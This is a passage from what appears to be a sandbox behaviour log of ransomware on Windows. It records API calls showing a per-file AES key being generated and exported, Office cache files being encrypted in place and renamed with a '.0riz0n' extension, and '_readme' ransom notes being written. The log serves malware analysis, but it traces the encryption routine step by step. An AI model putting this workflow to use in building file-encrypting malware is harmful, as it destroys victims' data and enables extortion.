Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0089.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.234] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd)) returned 1 [0089.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0089.234] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0089.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0089.235] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xa5b7cde0, dwHighDateTime=0x1d305f1)) returned 1 [0089.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.235] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0089.235] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0089.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0089.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0089.235] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0089.236] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0089.236] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7e1e00) returned 0x2350020 [0089.236] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x7e1dcd, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x7e1dcd, lpOverlapped=0x0) returned 1 [0089.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7e1e00) returned 0x2b40020 [0089.680] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b40020*, pdwDataLen=0x17af858*=0x7e1dcd, dwBufLen=0x7e21cd | out: pbData=0x2b40020*, pdwDataLen=0x17af858*=0x7e1dd0) returned 1 [0089.780] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0089.780] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x7e1dcd, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x7e1dcd, lpOverlapped=0x0) returned 1 [0089.872] FlushFileBuffers (hFile=0x1f0) returned 1 [0089.894] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0089.894] NtClose (Handle=0x1f0) returned 0x0 [0089.894] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.0riz0n")) returned 1 [0089.895] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0089.895] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0089.895] GetLastError () returned 0x2 [0089.896] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb7d0, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0089.896] GetLastError () returned 0x2 [0089.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0089.896] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0089.896] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0089.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0089.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0089.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d278) returned 1 [0089.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0089.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0089.897] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0089.898] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4a16ced0, dwHighDateTime=0x1d59598)) returned 1 [0089.898] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0089.898] NtClose (Handle=0x1f0) returned 0x0 [0089.898] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0089.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0089.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0089.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0089.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0089.932] CryptDestroyKey (hKey=0x459b38) returned 1 [0089.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0089.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0089.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.932] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0089.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0089.932] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0089.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0089.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.933] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0089.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0089.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0089.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.933] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0089.933] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0089.933] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0089.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0089.934] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xa5bc88d0, dwHighDateTime=0x1d305f1)) returned 1 [0089.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.934] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0089.934] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0089.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0089.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0089.934] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0089.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0089.934] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0089.934] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0089.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x780) returned 0x1aa3df0 [0089.935] ReadFile (in: hFile=0x1f0, lpBuffer=0x1aa3df0, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1aa3df0*, lpNumberOfBytesRead=0x17af85c*=0x750, lpOverlapped=0x0) returned 1 [0089.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x780) returned 0x1acf180 [0089.938] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x750, dwBufLen=0xb50 | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x760) returned 1 [0089.938] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0089.938] WriteFile (in: hFile=0x1f0, lpBuffer=0x1aa3df0*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1aa3df0*, lpNumberOfBytesWritten=0x17af85c*=0x750, lpOverlapped=0x0) returned 1 [0089.939] FlushFileBuffers (hFile=0x1f0) returned 1 [0089.941] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0089.941] NtClose (Handle=0x1f0) returned 0x0 [0089.941] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0089.942] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0089.942] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0089.942] GetLastError () returned 0x2 [0089.942] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb7f0, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0089.942] GetLastError () returned 0x2 [0089.942] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0089.942] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0089.942] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0089.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0089.943] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0089.943] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4a1df2f0, dwHighDateTime=0x1d59598)) returned 1 [0089.944] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0089.944] NtClose (Handle=0x1f0) returned 0x0 [0089.944] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0089.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0089.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0089.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1aa3df0) returned 1 [0089.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0089.944] CryptDestroyKey (hKey=0x459b38) returned 1 [0089.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0089.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0089.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0089.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.944] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f)) returned 1 [0089.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0089.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0089.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0089.946] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0089.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0089.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.946] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f)) returned 1 [0089.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0089.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0089.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.946] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f)) returned 1 [0089.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0089.947] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0089.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.947] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.947] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0089.947] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xee4bb7b0, dwHighDateTime=0x1d301be)) returned 1 [0089.947] RtlAllocateHeap 